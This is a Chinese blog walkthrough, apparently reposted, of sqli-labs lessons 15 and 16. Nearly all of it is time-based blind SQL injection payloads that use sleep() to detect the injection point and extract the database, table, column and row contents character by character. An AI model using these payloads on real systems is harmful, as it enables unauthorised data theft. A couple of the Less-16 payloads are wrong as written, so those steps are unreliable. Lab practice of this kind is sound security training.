码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs less-15 --> less-16

时间:2020-02-19 13:02:16      阅读:81      评论:0      收藏:0      [点我收藏+]

标签:nbsp   where   ase   表名   mat   字母   数据库名   min   ESS   

Less-15(布尔/时间盲注)

1.判断是否存在注入点

无论是输入admin/admin’/admin” 都显示回显正常,于是执行uname=admin‘ and sleep(5)#&passwd=&submit=Submit,发现延时回显,首先判断存在注入点,注入方式为:’’

2.爆库

爆库长:uname=admin‘ and if(length(database())=8,sleep(3),1)#&passwd=&submit=Submit

                     判断的数据库字符长度为8

爆库名:uname=admin‘ and if(substr(database(),1,1)=‘s‘,sleep(3),1)#&passwd=&submit=Submit

      判断数据库名字的第一个字符

3.爆表

爆第一个表长:uname=admin‘ and if(length((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1))=6,sleep(3),1)#&passwd=&submit=Submit

爆第一个表名:admin‘ and if(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)=‘e‘,sleep(3),1)#

4.爆字段

爆第一个字段的长度:admin‘ and if(length((select column_name from information_schema.columns where table_name=‘emails‘ limit 0,1))=2,sleep(3),1)#

爆第一个字段名:admin‘ and if(substr((select column_name from information_schema.columns where table_name=‘emails‘ limit 0,1),1,1)=‘i‘,sleep(3),1)#

5.爆数据

爆第一个数据的长度:admin‘ and if(length((select id from emails limit 0,1))=1,sleep(3),1)#

爆第一个数据:admin‘ and if(substr((select id from emails limit 0,1),1,1)=1,sleep(3),1)#

 

 

-------------------------------------------------------END----------------------------------------------------------------

 

 

Less-16 (布尔/时间盲注)

1.判断是否存在注入点

   执行uname=admin" and sleep(3)#&passwd=&submit=Submit或者uname=admin’ and sleep(3)#&passwd=&submit=Submit后均无反应,于是尝试执行uname=admin") and sleep(3)#&passwd=&submit=Submit,页面发生延迟,判断存在注入点

2.爆库

   爆库长:uname=admin") and if (length(database())=8,sleep(3),1)#&passwd=&submit=Submit

      判断数据库的长度是8

   爆库名:uname=admin") and if (substr(database(),1,1)=‘s‘,sleep(3),1)#&passwd=&submit=Submit

      判断数据库名字的第一个字母是什么

  以此类推,得到数据库名为’security’

3.爆表

   爆第一个表长:uname=admin") and if (length((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1)),sleep(3),1)#&passwd=&submit=Submit

   爆第一个表名:uname=admin") and if (substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)=‘e‘,sleep(3),1)#&passwd=&submit=Submit

4.爆字段

   爆第一个字段长:uname=admin") and if (length((select column_name from information_schema.columns where table_name=‘emails‘ limit 0,1))=2,sleep(3),1)#&passwd=&submit=Submit

   爆第一个字段名:uname=admin") and if (substr((select column_name from information_schema.columns where table_name=‘emails‘ limit 0,1),1,1)=‘i‘,sleep(3),1)#&passwd=&submit=Submit

5.爆数据

   爆第一个数据长:uname=admin") and if (length((select id from emails limit 0,1))=1,sleep(3),1)#&passwd=&submit=Submit

   爆第一个数据:uname=admin") and if (length((select id from emails limit 0,1))=1,sleep(3),1)#&passwd=&submit=Submit

 

 

-------------------------------------------------------END----------------------------------------------------------------

sqli-labs less-15 --> less-16

标签:nbsp   where   ase   表名   mat   字母   数据库名   min   ESS   

原文地址:https://www.cnblogs.com/B-roin/p/12330690.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!